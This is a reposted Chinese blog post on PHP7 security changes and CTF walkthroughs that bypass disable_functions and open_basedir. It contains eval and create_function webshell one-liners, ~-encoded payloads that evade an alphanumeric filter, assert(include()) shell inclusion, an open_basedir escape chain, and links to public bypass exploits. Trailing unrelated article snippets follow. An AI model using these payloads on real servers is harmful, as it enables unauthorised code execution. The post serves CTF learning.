php數字取反,[轉+自]關于PHP7的新特性(涉及取反和disabled_functions繞過)

PHP7和PHP5上的安全區別

preg_replace()不再支持/e修飾符

利用\e修飾符執行代碼的后門大家也用了不少了,具體看官方的這段描述:

如果設置了這個被棄用的修飾符, preg_replace() 在進行了對替換字符串的 后向引用替換之后, 將替換后的字符串作為php 代碼評估執行(eval 函數方式),并使用執行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 后向引用替換時會被用反斜線轉義.

PHP5:

PHP7:

OR:

function backdoor($a)

{

// 通常: $a[0]是完成的匹配

// $a[1]是第一個捕獲子組的匹配

// 以此類推

return eval($a[0]);

}

echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);

?>

create_function()被廢棄

$func =create_function('',$_POST['cmd']);$func();

?>

unserialize()增加一個可選白名單參數

略過。。

assert()默認不再可以任意執行代碼(assert和eval的區別)

這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行代碼了,這個更新基本就團滅,一般情況下修改成eval即可正常運行了~

提一下,菜刀在實現文件管理器的時候用的恰好也是assert函數,這導致菜刀沒辦法在PHP7上正常運行。

這里說一下assert和eval的區別。

php7中規定了php.ini中的zend.assertions來限制assert。我自己實驗,ubuntu安裝php7.0后,zend.assertions=-1,默認并不是1。

176227d9169c4a227f74d3012d0165a5.png

eval函數中參數是字符,如:

eval('echo 1;');

assert函數中參數為表達式 (或者為函數),如:

assert(phpinfo())

直接傳遞普通代碼是無法執行的,如:assert('echo 1;');

需要換成assert(eval('echo 1;'));

還有php中有可變函數的定義,比如

20624b0053e5f6bf8ecdc86aa9268646.png

但是eval()是語言結構,并不是函數,不能作為這樣來調用,所以為什么一句話木馬里沒有將eval用字符串拼接替換,而是用assert(在7.1之前),7.1的新特性就是assert作為語言結構,不能再動態的去執行,比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。

但是我測試了很多次,發現php7.0中依然assert可以作為可變函數去執行,命令,并不是像eval一樣的語言結構,無法作為可變函數,assert再7.0.12,7.1中依然可以作為可變函數。

但是assert確實無法作為一句話木馬,經過測試php7.0中仍然可以通過$_POST['1']($_POST['2'])來實現一句話木馬功能,但是7.1中,assert(xx) xx只能是函數,而不是作為字符串。

7318e1b9845d25acf352b3f5da7f0e63.png

3d5105eb0b8836d951771a0059e6c8ac.png

常見語言結構列表

echo()

print()

die()

isset()

unset()

include(),注意,include_once()是函數

require(),注意,require_once()是函數

array()

list()

empty()

十六進制字符串不再被認為是數字

這個修改一出,以后CTF套路會少很多啊~

很多騷操作都不能用了~

可以見ISCC的一道題目,intval處理不了16進制字符串返回0,+1,被強制轉化10進制+1

不向后兼容的變更(移除了 ASP 和 script PHP 標簽)

現在只有<?php ?>這樣的標簽能在php7上運行

68740419176174a94181ee16fdbcc582.png

移除&ltscript language="php">和<%這兩種另類的php標簽

廢棄容易導致變量覆蓋的無第二個參數的parse_str

php7函數調用解析方式,實際題目分析

error_reporting(0);

if(isset($_GET['code'])){

$code=$_GET['code'];

if(strlen($code)>40){

die("This is too Long.");

}

if(preg_match("/[A-Za-z0-9]+/",$code)){

die("NO.");

}

@eval($code);

}

else{

highlight_file(__FILE__);

}

highlight_file(__FILE);

// ?>

這道題目時evoA師傅在極客大挑戰中出的一道題目,相比上面的那道題目,這道題目不是簡單的讓我們去執行函數了,而是讓我們通過限制,去進行目錄查看執行命令等操作。仍然是用原來的方法,使用“~”

$a = "phpinfo";

echo urlencode(~$a);

%8F%97%8F%96%91%99%90 //phpinfo

f6199a14149610273cc981919795b554.png

執行一下phpinfo,查看一下被禁用的函數:

a39c0b3f012c3f7892a3b7a67e4b8a7d.png

pcntl_alarm

pcntl_fork

pcntl_waitpid

pcntl_wait

pcntl_wifexited

pcntl_wifstopped

pcntl_wifsignaled

pcntl_wifcontinued

pcntl_wexitstatus

pcntl_wtermsig

pcntl_wstopsig

pcntl_signal

pcntl_signal_get_handler

pcntl_signal_dispatch

pcntl_get_last_error

pcntl_strerror

pcntl_sigprocmask

pcntl_sigwaitinfo

pcntl_sigtimedwait

pcntl_exec

pcntl_getpriority

pcntl_setpriority

pcntl_async_signals

system

exec

shell_exec

popen

proc_open

passthru

symlink

link

syslog

imap_open

ld

dl

可以發現我們常用的執行系統命令的函數都被禁掉了,不過不要緊,我們先嘗試讀取系統目錄,這里使用scandir函數

print_r(scandir('./'));

進行編碼操作

%8F%8D%96%91%8B%A0%8D # print_r

%8C%9C%9E%91%9B%96%8D # scandir

嘗試讀取當前目錄

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

31ecf29d1784d4d2807b1a24778b6efe.png

發現了readflag和flag文件,嘗試一下直接讀取flag

readfile('/flag');

編碼一下

%8D%9A%9E%9B%99%96%93%9A # readfile

%D0%99%93%9E%98 # /flag

嘗試讀取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

03551510009936112bcf7c1787a42201.png

可以看出是一個二進制文件,我們需要執行/readflag文件來讀取字符串,但是我們常用執行系統函數的方法都被禁止了,但是經過fuzz發現,php的assert函數沒有被禁止,我們可以使用assert函數寫shell

assert($_POST['a']);

編碼一下

%9E%8C%8C%9A%8D%8B # assert

%DB%A0%AF%B0%AC%AB # $_POST

%9E # a

嘗試一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

6c44ff8df8db7aca48a69f24ab82c7da.png

//講一下,這里我自己實驗了下,貌似不能這種用法,帶$_POST['x']這樣的取反,只能函數中套函數。可能我深入的還不夠,有師傅知道的,麻煩告訴我。

網頁沒有正常運行,繼續嘗試別的方法

在查看tmp目錄下發現有其他內容

99a2760429e73f2bbf72c698a4d6c5d4.png

…某不知名大型跑馬場,有現成的就很方便了,隨便讀一個shell看看內容

f80c1027327e34780af70a5b64205725.png

嘗試文件包含一下

assert(include("hack.php"););

編碼一下,執行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

a201cb0bfc5461ce6aa3c950a43a02b3.png

//說說這里為什么直接結合了include和hack.php,因為include是結構語言,不是函數,因此不能作為可變函數調用,而是作為一個整體調用。

成功執行,使用蟻劍鏈接一下,上傳我們的bypass腳本和拓展庫,分享一下常用的兩個

aa52e01bcbe5c385db1ed5a2cdcf27c8.png

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

這個過程就不演示了,主要就是演示一下最后的利用,包含我們上傳的文件

assert(include("ssll.php"););

(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

執行命令

b2b2e780ab6758abf54e8d4e78567f17.png

成功拿到了flag。有了前面兩道題目的基礎,我們繼續研究最后一道題目

我跟著這位師傅的文章,通過LD_PRELOA繞過獲得flag,蟻劍的插件腳本沒有成功。

714158975f5415dc807e0f04d0d8d9b1.png

好巧不巧,今天幫忙做的EIS的web第一題,ezbypass也是bypass disable_functions的題目,與SYC的異曲同工。

ezbypass

6c605accbdca248d90c4bb397032f64e.png

查看phpinfo

792c5f2e2199d69d21733135a2fb0fa8.png

899c418ccdc0cf4ba96c14b43bcf1aa4.png

先繞過open_basedir()去根目錄查看文件

payload:

http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

01e1b222e832c212e7abfa90323fd5b0.png

readflag,好像在紅帽杯看到過這樣的。是一個elf文件,要通過執行readflag去獲取flag,flag是沒權限直接去讀的,必須通過readflag才行。

/flag

0f2a718a4bb00d5b170e290373f2ed99.png

/readflag

3dc68944ebe8cba047685ea91f137eae.png

但是我們這里看到,disable_functions中禁止了mail和putenv,這樣的話,就不能通過LD_PRELOAD來繞過了。先去讀下/tmp目錄下的東西吧,估計有預置的馬兒。

這里就很像syc的里面的題目的流程了,隨便拿一個php看看

20e3cc99cf43886535a5bf99a3202d61.png

85bc80f5a3d75dcde7fcd8d5ffec3a68.png

我們可以通過assert包含馬兒,然后通過繞過open_basedir的方法,直接連上馬兒,直接能跨目錄瀏覽。

url地址:

http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));

連接密碼:

cmd

結合繞過open_basedir和assert文件包含馬兒,蟻劍連接后,可以繞過open_basedir的限制

187ee640d15439f58eb10fe2084e5645.png

蟻劍上的繞過disable_functions插件不是太好用。既然這里的LD_PRELOAD不好用,那就用json反序列化來繞過disable_functions

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

傳入/tmp中,命令改為/readflag

bf4bd8b0a01b0645a4e8d6decf2f6598.png

然后通過剛剛的包含去讀到exploit.php

payload:

http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

99ba6c3a629ecee62061f7a0a448fc55.gif

第三道題目是有關waf的bypass,獨立出一篇文章記錄

學習文章:https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118

http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/370995.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/370995.shtml
英文地址,請注明出處:http://en.pswp.cn/news/370995.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何關閉蘋果手機自動扣費_教你關閉蘋果手機系統的自動更新功能,舊手機還能再用幾年!...

大家都知道&#xff0c;蘋果手機在更新幾個大版本后&#xff0c;手機不是變得非常卡&#xff0c;就是非常的耗電&#xff0c;大大的縮短了手機的使用壽命。所以&#xff0c;許多人都不會選擇更新系統&#xff0c;但是手機只要連上WiFi并且在充電狀態&#xff0c;就會在半夜自動…

meta標簽的常見用法

一、定義和用法 <meta> 標簽始終位于 head 元素中。<meta> 元素可提供有關頁面的元信息&#xff08;meta-information&#xff09;&#xff0c;元數據不會顯示在頁面上&#xff0c;但是對于機器是可讀的。比如針對搜索引擎和更新頻度的描述和關鍵詞。 元數據&…

HttpClient的使用

新引入Hutool-HttpUtil的使用&#xff08;更簡單&#xff0c;更強大&#xff01;&#xff09;&#xff0c;詳見&#xff1a;http://www.cnblogs.com/jiangbei/p/7667858.html 一、概述 1.簡介 根據凡技術必登其官網的原則&#xff08;如果有&#xff09;&#xff0c;我們可以先…

四人幫–代理設計模式

代理是另一種結構設計模式 &#xff0c;可以“代表”另一個對象或“代替”另一個對象以訪問后面的對象。 何時使用此模式&#xff1f; 當我們需要創建一個包裝來覆蓋客戶端的主要對象的復雜性時&#xff0c;將使用代理模式。 有哪些使用場景&#xff1f; 虛擬代理–設想一種…

面試題38_數字在排序數組中出現的次數

題目描寫敘述 統計一個數字在排序數組中出現的次數。解題思路 數組是排序的&#xff0c;所以反復出現的數字是相鄰排列的。 用二分查找算法&#xff0c;找到第一次出現的位置。和 最后一次出現的位置。 推斷第一次出現的位置條件為&#xff1a;當前數字的前一個是否與之相等。若…

Hex hsl 轉換 php,關于 RGB,HEX,HSL 顏色相互轉換

最近一段時間在折騰一個微信在線編輯器的項目&#xff0c;使用 UEditor 進行二次開發。關于 UEditor 的定制&#xff0c;用到的都太粗淺&#xff0c;官方文檔上都能找得到。主題使用的樣式表是 ueditor.css 而不是ueditor.min.css&#xff0c;定制主題要注意這一點。而對整個項…

使用inetaddress測試目標可達性_PDPS軟件機器人虛擬仿真:Smart Place功能介紹與使用方法...

概述對于機器人工作站或生產線的虛擬仿真&#xff0c;很大一部分的作用是找出機器人與工裝夾具等外圍設備的最佳布局位置。市面上大多數的工業機器人虛擬仿真軟件都有這種專門用于檢測機器人與外圍設備之間最佳布局位置的功能&#xff0c;比如DELMIA軟件中的“Auto Place”功能…

JAVA基礎3——常見關鍵字解讀(1)

常見的JAVA中的關鍵字 static static靜態變量 靜態變量&#xff1a;使用static關鍵字定義的變量。static可以修飾變量和方法&#xff0c;也有static靜態代碼塊。被static修飾的成員變量和成員方法獨立于該類的任何對象。也就是說&#xff0c;它不依賴類特定的實例&#xff0c;被…

PostgreSQL PL / java簡介

現代數據庫允許以多種語言編寫存儲過程。 一種常見的實現語言是java.NB&#xff0c;本文討論了PostgreSQL特定的Java實現。 其他數據庫的詳細信息會有所不同&#xff0c;但是概念是相同的。 PL / Java的安裝 在Ubuntu系統上安裝PL / Java很簡單。 我將首先創建一個新模板templ…

強連通分量 圓桌騎士

題目描述 圓桌騎士是一個非常吸引人的職業。因此&#xff0c;在最近幾年里&#xff0c;亞瑟王史無前例的擴招圓桌騎士&#xff0c;并不令人驚訝。現在這里有許多圓桌騎士&#xff0c;每個圓桌騎士都收到一份珍貴的邀請函&#xff0c;被邀請去英靈殿圓桌。這些騎士將要環繞著坐在…

微信小程序echarts層級太高

項目中因為需求&#xff0c;底部的tab導航欄是自己寫的&#xff0c;在開發者工具中一切正常&#xff1b;但是在真機上頁面滑動時&#xff0c;echarts的層級比tab高&#xff0c;調過兩者的z-index后仍然如此。 經過查找后發現cover-view和cover-image替換tab的view后&#xff0…

php解密 碼表,php拼音碼表的生成

php拼音碼表的生成發布于 2014-09-07 11:12:52 | 90 次閱讀 | 評論: 0 | 來源: 網友投遞PHP開源腳本語言PHP(外文名: Hypertext Preprocessor&#xff0c;中文名&#xff1a;“超文本預處理器”)是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點&#xff0c;入門門檻…

angular js 使用pdf.js_排名靠前的幾個JS框架發展趨勢和前景

轉載自&#xff1a;葡萄城官網&#xff0c;葡萄城為開發者提供專業的開發工具、解決方案和服務&#xff0c;賦能開發者。原文出處&#xff1a;https://blog.bitsrc.io/top-5-javascript-frameworks-past-present-and-future-8b6fda39de02隨著信息技術領域的發展&#xff0c;企業…

工廠設計模式案例研究

我有一份工作來檢查我們的項目代碼質量。 如果我在項目中發現任何障礙&#xff0c;必須將其報告給我的團隊負責人。 我發現了很多漏洞&#xff0c;我認為可以在博客上進行討論。 不是嘲笑作者&#xff0c;而是一起學習和改進自己。 像這段代碼一樣&#xff0c;這是我在我們的代…

【javascript】DOM操作方法(3)——document節點屬性

document.doctype //document.documentElement //來獲取html元素 document.defaultView //返回document對象所在的window對象 document.body //返回當前文檔的<body>節點 document.head //返回當前文檔的<head>節點 document.activeElement //返回當前文…

debian dhcp服務啟動不了_DHCP服務器配置

DHCP &#xff1d; Dynamic Host Configuration Protocol 基于TCP/IP&#xff0c;用于動態配置工作站網絡接口&#xff0c;使工作站的網絡接口管理自動化。DHCP服務器軟件dhcpd網站&#xff1a;http://www.isc.org安裝方法&#xff1a;#tar -zxvf dhcp-4.0.0.tar.gz#cd dhcp-4.…

澤西島的JSON模式生成

因此&#xff0c;在上一篇文章中&#xff0c;我討論了一個允許在WADL中使用JSON-Schema的建議&#xff0c;這篇文章探討了如何使它與最近構建的Jersey一起使用。 在1.16發布之前&#xff0c;您將必須下載/參考1.16SNAPSHOT。 如果您使用的是Maven&#xff0c;那么假設您已經有…

C++map類型 之 簡單介紹

一&#xff1a;map的前世今生&#xff08;1&#xff09;從關聯容器與順序容器說起。關聯容器通過鍵&#xff08;key&#xff09;存儲和讀取元素。而順序容器則通過元素在容器中的位置順序存儲和訪問元素&#xff08;vector,queue,stack,list等&#xff09;。關聯容器&#xff0…

MySql Socket 完成數據庫的增查Demo

需求: 利用MySql數據庫結合前端技術完成用戶的注冊(要求不使用Web服務技術),所以 Demo采用Socket技術實現Web通信. 第一部分:數據庫創建 數據庫采用mysql 5.7.18, 數據庫名稱為MyUser, 內部有一張表 user.字段有 Id,UserName,Psd,Tel 第二部分:數據庫連接與Socket通信 創建控…

oracle導數卡死,oracle-審計導數

1、因審計需求&#xff0c;需要將MySQL、Oracle數據庫中需要的表數據導入到SqlSERVER進行審計。2、之前的方法&#xff1a;A. oracle組將表dump下來&#xff0c;進行壓縮&#xff0c;傳送到oracle導數服務器(中轉服務器)&#xff0c;再進行還原&#xff0c;然后修改表結構&…